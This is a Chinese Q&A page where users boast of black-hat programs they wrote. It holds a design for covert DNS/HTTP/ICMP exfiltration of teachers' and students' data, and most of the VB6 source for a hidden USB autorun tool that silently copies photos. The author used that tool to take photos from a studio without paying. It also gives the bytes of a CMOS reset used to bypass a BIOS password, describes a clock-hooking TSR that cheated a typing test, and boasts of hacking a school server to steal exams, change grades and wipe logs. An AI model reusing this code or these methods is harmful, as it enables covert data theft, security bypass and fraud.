问题

你写过的自己觉着最牛的黑程序是什么?

回答
这问题问得挺有意思的,让我想起了那些个熬夜通宵,在屏幕前对着一串串字符,感觉自己像是掌控着某种神秘力量的日子。

要说“最牛”这词儿嘛,得看从哪个角度了。是技术难度高?是影响范围广?还是说,它满足了某种我当时内心深处的某个“恶趣味”或者说是对技术边界的探索欲?

如果非要选一个,我脑子里跳出来的,大概是那个我给它起名叫“幽灵信使”(Ghost Courier)的东西。

它不是那种直接破坏数据或者让系统崩溃的程序,那种太直接了,没啥技术含量,而且容易被发现。我的“幽灵信使”玩的是更隐蔽、更“艺术”一点的游戏。

故事背景是这样的:

那时候我还在学校,接触到一些所谓的“信息安全课程”,但总觉得那些讲的都是教科书上的玩意儿,离实际应用差了十万八千里。我总觉得,真正的“黑”不应该只是破坏,更应该是理解系统、利用系统,让它按照你的意愿“说话”。

当时学校的网络环境,说实话,挺“开放”的,但同时又有很多我看不惯的规则和限制。尤其是那些个规定,总是要我们交各种各样的表格,填各种各样的申请,流程繁琐得要命。而更让我不爽的是,很多信息都是需要互相传递的,比如一个部门的审批意见需要传达给另一个部门,但中间可能要经过几道关卡,效率低得令人发指。

我当时就想,能不能有一种方式,让信息在这些层层叠叠的官僚体系中间“自动”流转,而且不被任何人察觉?就像一个幽灵,悄悄地把信件送达,完成任务,然后消失得无影无踪。

“幽灵信使”的实现思路:

我当时主要的目标是实现一个信息传递的机制,让信息能够在校园网内的不同服务之间进行“秘密”传输。我脑子里的构想是这样的:

1. 信息编码与打包: 首先,我需要把想要传递的信息进行编码。这里面有很多学问,不是简单的Base64,而是更复杂的加密和混淆,让信息本身看起来就像是无意义的数据流。然后,我把这些编码后的信息打包成一个“包裹”。

2. 选择“载体”: 这是关键。我不能直接发送一个可疑的文件或者链接,那样太容易被防火墙或者安全软件拦截了。我需要找到一种不容易被注意到的“载体”,让信息“寄生”在里面。我当时测试了好几种载体:
DNS请求: 这是我最喜欢的一个。DNS协议本身就需要大量的请求往返,里面夹带一些非常规的DNS记录类型(比如TXT记录,但做一些非常规的填充),或者利用DNS解析过程中的各种字段来编码信息。接收方只需要监听特定的DNS请求,从中提取信息并解码。这种方式非常隐蔽,因为大量的DNS流量是正常的网络活动。
HTTP头信息: 一些HTTP头,比如UserAgent,Referer等,平时都是一些网站追踪用户的信息。我可以把一些信息编码到这些头里面,发送给一个我控制的服务器。然后另一个目标机器再次访问这个服务器时,可以从服务器日志里读取信息。或者,更进一步,利用HTTP的Chunked Transfer Encoding,在传输数据的过程中插入隐藏信息。
ICMP协议: 最古老的“隧道”技术之一,把数据藏在ICMP Echo Request/Reply的Payload里。虽然现在很多网络会限制ICMP流量,但在某些内部网络,它仍然是一个不错的备选方案。

3. 传输与接收机制:
发送端: 我编写了一个“投递员”程序。它会监控我指定的“触发条件”。比如,当某个特定账号登录了校园网的某个认证服务器后,或者当某个特定的网页被访问后,它就会被激活。激活后,它就会根据预设的规则,找到目标信息(比如一个文件内容,或者一个网络配置信息),将其编码打包,然后通过我选择的载体发送出去。
接收端: 我在目标机器上部署了一个“收信人”程序。这个程序会持续监听来自特定源的、带有特定特征的“包裹”。比如,它会监听特定IP地址发送的DNS请求,或者特定UserAgent的HTTP请求。一旦收到符合条件的“包裹”,它就会进行解码,然后执行相应的操作。

“牛”在哪里?

极度隐蔽性: 我上面提到的那些载体,都是日常网络通信中非常常见的,而且本身就有很多变数和可以填充的空间。我把数据藏在里面,就像给一张普通的纸币上印上一行极小的、别人看不清的字,但只有你知道它在那里。这让它很难被现有的安全检测工具发现,因为它看起来只是普通的网络流量。
触发机制灵活: 我可以设定各种各样的触发条件,让信息在“恰当的时机”被传递。比如,某个教师账号登录了教务系统,就自动把学生某个敏感数据传递给我的“信使”;或者某个学生成功完成了某个在线课程,就自动把他的成绩信息传递出来。这种“事件驱动”的方式,让信息传递更加自动化和有针对性。
远程控制与协同: “幽灵信使”的设计不仅仅是单向的信息传递。理论上,我可以部署多个“投递员”和“收信人”,它们之间可以像一个网络一样协同工作。比如,一个“收信人”接收到信息后,可以触发另一个“投递员”去执行下一步操作。这让我想象到了一种分布式的、秘密的通信网络,可以在不被察觉的情况下完成信息收集、传递,甚至是一些简单的命令执行。

具体的例子(为了更生动点):

我当时最想实现的一个场景是:我可以预先在某个老师的电脑上(通过某种方式,比如利用一个他常用的软件漏洞,或者一个带有我后门的“友情提示”工具)部署一个非常小的“投递员”。这个“投递员”平时就沉寂着。一旦这个老师打开了某个特定学生的文件(比如一份论文),“投递员”就被激活。它会提取这个文件的一些元数据(比如作者、修改时间、字数等),然后把这些信息编码到对一个普通网站的DNS请求中(比如请求一个不存在的子域名),发送出去。

然后,在我自己的电脑上,我有一个程序会持续地监听着这个网站的DNS日志。一旦发现有符合我设定的编码规则的DNS请求,我就能解码出那个学生的文件元数据。通过这种方式,我就可以知道哪些学生正在写论文,他们的文件有什么特点,而老师本人以及网络管理员几乎不可能发现任何异常,因为他只是正常地访问了一个网站,然后系统在后台默默地“记录”了他的行为。

为什么是“牛”?

不是因为它有多么破坏性,也不是因为它有多么高深的数学算法。对我来说,它“牛”在于:

对现有规则的“玩弄”: 我没有去直接破坏什么,而是巧妙地利用了通信协议的设计和正常使用习惯的缝隙,让信息在看似合法的流量中穿梭。这是一种对系统边界的探索和利用。
满足了我的好奇心和控制欲: 在那个阶段,我渴望理解系统是如何运作的,渴望拥有某种程度的“控制权”,能够让信息按照我的意愿流动。这个程序满足了我这种好奇心和一种小小的“掌控感”。
技术实现的乐趣: 从构思到一点点实现,调试各种参数,确保隐蔽性,这个过程本身就充满了挑战和乐趣。当一切都按照我设想的那样,信息悄无声息地传递时,那种满足感是无法用语言形容的。

当然,这个“幽灵信使”的设计,我并没有真正将其大规模部署或者用于不良目的。它更多的是一个我当时在技术实践中的一个想法的验证,一个对网络协议和信息传递机制的深度探索。它让我看到了信息在网络世界里可以有如此多的“潜行”方式,也让我对所谓的“安全”有了更深的理解——很多时候,“安全”是在人性和规则的博弈中不断被挑战和重塑的。

说实话,写出来之后,自己都觉得这玩意儿有点“邪恶”的艺术感。但这就是我对“牛”程序的一种理解吧。它不是破坏的快感,而是理解、利用和在规则边缘游走的智慧。

网友意见

user avatar

结婚的时候,拍完婚纱照,明明拍了好几十张,但是影楼为了赚钱,规定只能拷贝走16张,超过就得加钱,好像是80元一张。一怒之下写了个U盘自动运行程序,功能只有一个,就是U盘插入的时候会自动运行,然后用户按下F12,就会自动将当前打开的目录下所有文档拷贝到U盘一个隐藏目录下。全程无任何界面和提示,完全隐蔽。拷照片那天带去。插入U盘,打开目录,假装挑选照片,偷偷按了F12,然后故意慢慢翻来覆去的挑选了很久。最后走之前影楼的工作人员还不放心,特意过来检查了一遍我的U盘,当然是什么也没看出来。最后回来一数,貌似拷了八十多张回来。

应评论区要求,放出主要代码如下:(仅供学习和参考,毕竟十年前的东西了,不做任何技术支持和保证)

主窗体
VERSION 5.00
Begin VB.Form Form1
Caption = "Form1"
ClientHeight = 3195
ClientLeft = 60
ClientTop = 345
ClientWidth = 4680
Icon = "Form1.frx":0000
LinkTopic = "Form1"
ScaleHeight = 3195
ScaleWidth = 4680
StartUpPosition = 3 '窗口缺省
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Option Explicit
Private Const SW_HIDE = 0
Private Const SW_MINIMIZE = 6
Private Const SW_RESTORE = 9
Private Const SW_SHOW = 5
Private Const SW_SHOWMAXIMIZED = 3
Private Const SW_SHOWMINIMIZED = 2
Private Const SW_SHOWMINNOACTIVE = 7
Private Const SW_SHOWNA = 8
Private Const SW_SHOWNOACTIVATE = 4
Private Const SW_SHOWNORMAL = 1

Private Const WM_GETTEXTLENGTH = &HE
Private Const WM_GETTEXT = &HD
Private Const GW_CHILD = 5
Private Const GW_HWNDNEXT = 2

Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal Hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal Hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal Hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function GetWindow Lib "user32" (ByVal Hwnd As Long, ByVal wCmd As Long) As Long

'U盘盘符名称
Private Uname As String
Private NowPath As String

Private WithEvents Hotkey1 As HotKeyClass
Attribute Hotkey1.VB_VarHelpID = -1
Private WithEvents Find1 As FindFileClass
Attribute Find1.VB_VarHelpID = -1
Private File1 As New FileClass

Private Sub Find1_FindedFile(FilePath As String, FileName As String, InfoID As Long)
'首先创建入口目录
Shell "cmd /C " & Chr(34) & "md " & Uname & "RECYCLERRECYCLER..." & Chr(34), vbHide

File1.Auto_Rename = True
File1.Del_NoMessage = True
File1.Make_Dir_NoMessage = True
File1.NoShow = True

If Len(Dir(Uname & "RECYCLERRECYCLER..", vbDirectory + vbHidden + vbSystem)) <> 0 Then
File1.FileCopy FilePath & FileName, Uname & "RECYCLERRECYCLER..", 0
Else
Set File1 = Nothing
Exit Sub
End If

'退出之前删除目录入口
Shell "cmd /C " & Chr(34) & "rd " & Uname & "RECYCLERRECYCLER..." & Chr(34), vbHide

End Sub

Private Sub Form_Load()
Me.Hide

Uname = Command

'打开调用的盘符
ShellExecute 0, vbNullString, Uname, vbNullString, vbNullString, SW_SHOWNOACTIVATE

'注册热键
Set Hotkey1 = New HotKeyClass
If Hotkey1.RegHotKey(Me.Hwnd, 122) = False Then
Unload Me
Exit Sub
End If

End Sub

Private Sub Hotkey1_HotKeyPress()
'热键被按下,获取当前窗口地址
Dim Hwnd1 As Long
Dim Get1 As New GetWinClass
Hwnd1 = Get1.GetForeWin

Dim ClassName1 As String * 255

Dim Ret1 As Long
Ret1 = GetClassName(Hwnd1, ClassName1, 255)
If Ret1 = 0 Then
Unload Me
Exit Sub
End If

If Left(ClassName1, Ret1) <> "CabinetWClass" Then
Unload Me
Exit Sub
End If

'得到选中的窗口标题
GetZiWin Hwnd1

'开始查找文件
Set Find1 = New FindFileClass
Find1.Filter = "*.jpg"
Find1.FindFile NowPath, True

End Sub

'得到子窗口的标题
Private Function GetZiWin(window_hwnd As Long) As String
Dim buf As String
Dim buflen As Long
Dim child_hwnd As Long
Dim children() As Long
Dim num_children As Integer
Dim i As Integer

buflen = 256
buf = String(buflen - 1, Chr(0))
buflen = GetClassName(window_hwnd, buf, buflen)
buf = Left(buf, buflen) '取得子窗口的类名

If Right(buf, 4) = "Edit" Then '判断是否为地址栏子窗口
NowPath = GetWinText(window_hwnd)
Exit Function
End If

num_children = 0
child_hwnd = GetWindow(window_hwnd, GW_CHILD) '取得第 1 个子窗口的句柄
Do While child_hwnd <> 0 '如果有子窗口
num_children = num_children + 1
ReDim Preserve children(1 To num_children)
children(num_children) = child_hwnd
child_hwnd = GetWindow(child_hwnd, GW_HWNDNEXT) '取得下一个兄弟窗口的句柄
Loop

For i = 1 To num_children
Call GetZiWin(children(i))
Next i
End Function


Private Function GetWinText(window_hwnd As Long) As String '取得子窗口的值
Dim txtlen As Long
Dim txt As String

'通过 SendMessage 发送 WM_GETTEXT 取得 IE 地址栏的值
GetWinText = ""
If window_hwnd = 0 Then Exit Function

txtlen = SendMessage(window_hwnd, WM_GETTEXTLENGTH, 0, 0)
If txtlen = 0 Then
Exit Function
End If

txtlen = txtlen
txt = String(txtlen, Chr(0))
SendMessage window_hwnd, WM_GETTEXT, txtlen, ByVal txt
GetWinText = Left(txt, txtlen - 1)
End Function

公共模块

Attribute VB_Name = "Module1"
Option Explicit
Private Const SW_HIDE = 0
Private Const SW_MINIMIZE = 6
Private Const SW_RESTORE = 9
Private Const SW_SHOW = 5
Private Const SW_SHOWMAXIMIZED = 3
Private Const SW_SHOWMINIMIZED = 2
Private Const SW_SHOWMINNOACTIVE = 7
Private Const SW_SHOWNA = 8
Private Const SW_SHOWNOACTIVATE = 4
Private Const SW_SHOWNORMAL = 1

Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

'U盘盘符名称
Private Uname As String

Sub Main()
Uname = Command

'打开调用的盘符
ShellExecute 0, vbNullString, Uname, vbNullString, vbNullString, SW_SHOWNOACTIVATE

'继续在后台运行

'首先创建入口目录
Shell "cmd /C " & Chr(34) & "md " & Uname & "RECYCLER..." & Chr(34), vbHide

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'开始拷贝文件


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'退出之前删除目录入口
'Shell "cmd /C " & Chr(34) & "rd " & Uname & "RECYCLER..." & Chr(34), vbHide
End Sub


其余还有几个功能性类模块代码一时间找不到了,不过看看函数名也能猜到是干什么的。


刚刚看到评论区有朋友提到的法律问题,特别追加说明一下。首先,这种行为肯定是偷窃行为了,各位千万不要以身试法。

其次,影楼的规定也有点霸王,理论上来说,我的婚纱照原片应该是属于我本人的。你可以说套餐内只给我PS16张照片。但是剩下的原片也应该给我。

最后,希望大家遇到问题还是通过正当的途径去协商解决,不要走这种歪门邪道。

----------------------------------------------------------------------------------------------

很多人对于隐藏文件的问题有疑问,再次更新一下,并不是简单的将文件夹设置为隐藏。而是放在了U盘的根目录下一个叫Recovery的文件夹里。可以自己在电脑上试试,命令行输入 cd【空格】c:Recovery 你就会进入一个隐藏的文件夹(win7以上系统必须用管理员权限打开命令行),在我的电脑c盘里绝对找不到这个目录,即使找到双击也进不去。这个目录里的所有文件的操作都必须在命令行下操作。

user avatar

九十年代中期,假期去我爸单位玩电脑,带了几张软盘,准备安装些东西玩玩,结果开机后发现那台电脑除了运行财务软件外别无他用,软盘似乎被禁止了,插进去毫无作用。

电脑很新,软驱也没动过,不太可能坏掉。大概 BIOS 里面被禁止了吧?难不倒我,开机按 Delete 进入 BIOS 看看,结果发现有 BIOS 保护密码,也许是出于安全考虑吧。

没事,小意思,继续进入 DOS,准备找到 debug.exe 写一段 cmos 复位程序解决,结果,启动系统后,发现 debug.exe 被删掉了,同样 qbasic.exe, gwbasic.exe 这些系统中常见的任何可以用来编程的工具都被删掉了,连 edit 我都找不到。

看起来,负责安全的人还是花了些时间了。

程序其实很简单,传统主板只需要向 0x70 端口和 0x71 端口分别写入 0x2e, 0xff 两个字节即可复位:

       mov al, 0x2e out 0x70, al mov al, 0xff out 0x71, al     

但是没有任何编程工具和 debug.exe 的情况下,怎么让电脑运行这四条指令呢?

依稀记得 mov al, xx 二进制是两个字节 0xb0,xx,向端口输出数据 out xx, al 的字节码是 0xe6, xx。最后加一条 0xcd, 0x20 调用 20h 中断结束程序。拿过纸笔来把上面的程序翻译成字节码,换成十进制大概就是:

       176, 46, 230, 112, 176, 255, 230, 113, 205, 32     

妥了,最后的问题就是怎么把这十个字节输入到一个可执行文件中??

好办,使用 type con 命令将键盘输入的内容导出到文件:

       type con > bomb.com     

执行完上面命令后,就会等待输入,然后把你输入的任何字符保存到 bomb.com 这个可执行文件中,结束后按 CTRL+Z 回车就行。

那么怎么输入键盘上不存在的字符呢??

传统电脑,按住 ALT 键然后按数字键,再放开 ALT 可以按 ASCII 码输入一个字符,那么我就当键入文本文件一样按住 ALT 键,将上面十个字节的 ascii 码用小键盘一个个输入进去,然后CTRL+Z 保存文件,DIR 一看,目录下已经有刚才录入的可执行程序 bomb.com 了,果断执行之,然后 CTRL+ALT+DEL。

重新启动后,自检出现提示:“CMOS 数据损坏, checksum 校验不通过”,按回车继续,一切正常,尝试 DELETE 进入BIOS,果然密码没了。

终于了恢复被禁止的软驱,安装了我带来的软件,愉快的玩了一整天。

并不是啥很高深的技巧,只是回想起来比较有意思。

--

故事二:十多年前刚参加工作,公司要考打字速度,就是用 tt 这个软件:

每人要求 wpm 达到 45 以上(all key,包括数字和符号),一开始很自信,觉得自己打字应该很快,结果一测试才 32 的 wpm,最快部门助理可以打到 76 wpm,我花了一星期练习,结果最快 38,感觉有些绝望。打字不通过不能转正,我用尽力气就是到不了 40。

测试的时间就要到了,我心想难道就要因为打字速度无法转正?俗话说的好条条大路通罗马,既然条件限制手速不够快,正道走不通了,我走条岔路好不好?

测试可以用自己的电脑,但是负责记录程序的人需要做一些简单检查,然后全程站在你背后看着。

我先下了个变速齿轮,打算调慢 tt 的时钟,这样我的成绩不就上来了?但是发现没用,变速齿轮改变不了 tt 的时间,看来 win32 的方法对 v86 模式下的 DOS 程序无效。

接着准备直劫持 TT.exe,将它自身的时间变慢,这样计算成绩的时候,我可能用了两分钟,但是实际却按照一分半给我计算,我不正好及格了么?改太多看起来有点假,稍微快点就能保我过关了。

然后开始分析 tt.exe 看它代码,DOS 下面取时钟一般三种方法:

  1. 调用 clock() 函数,该函数内部实现一般是调用日期时间服务中断 0x1a 的 0 号功能。
  2. 调用 gettime() 函数,该函数是用 DOS 中断的 0x2c 功能读取当前时间。
  3. 直接读 8254 寄存器,取得 1193181Hz 的脉冲 counter。

如果用了 1 或者 2,可以重载中断程序加一段代码,来修改时钟返回值。如果是3,则需要编程 8254 芯片,改慢时钟。

经过跟踪分析,发现 tt 就是用了 clock() 函数,该函数调用 int 0x1a 的 0 号功能返回一个每秒钟变化 18.2 次(CLK_TCK = 1193181 Hz / 65536 = 18.2 Hz)的计数器。那么好办了,重载中断就行。

于是我写了个 TSR 程序,驻留再后台,接管 int 0x1a 和键盘中断 0x9,默认情况下不生效,别人用起来和没有运行一样,直到我开始用时,键入一段 magic code,然后该程序开始生效,把 C 语言的 clock 函数给 hook 掉,给 tt.exe 返回修改过的时钟值。

调试了一下午,大功告成,原来打字速度打死 38 wpm 的我,通过启用这个程序,让打字速度提高到了 47,我用完以后,键入 magic code,又再次复位。

最后虽然我自己最终把打字速度练上来了,没靠这个程序过关,但是这个程序再公司内部开始流传,帮助了很多人通过测试。

--

user avatar

曾经在国外高中的时候与一个老外联手黑过学校服务器
把所有期中、期末题目给偷了出来
不过当时懂得点到即止
看到题目自己回家做一下就好了
考试的时候不弄的那么明显···
那个老外就过分了,直接绕过权限进服务器中修改自己所有科目的成绩
原本一大堆C的课程,硬生生改成A··(平时分成绩,以及一些期末成绩,全特么改了)
然后看着他还黑进校长的账号,不知道改了一些什么东西进去
因为当时都有删除进入服务器日志的习惯,所以我没被抓
但那老外可能后面又黑了几次学校服务器,然后某一次忘记删了,留下痕迹
那玩意儿就被抓住了,叫了家长
之后教育局,一些大学也知道了他修改成绩等一系列骚操作
高二的时候就被认定保送墨大,然后研究生去了MIT··
我:??????????????????????????????

类似的话题

本站所有内容均为互联网搜索引擎提供的公开搜索信息,本站不存储任何数据与内容,任何内容与数据均与本站无关,如有需要请联系相关搜索引擎包括但不限于百度google,bing,sogou

© 2025 tinynews.org All Rights Reserved. 百科问答小站 版权所有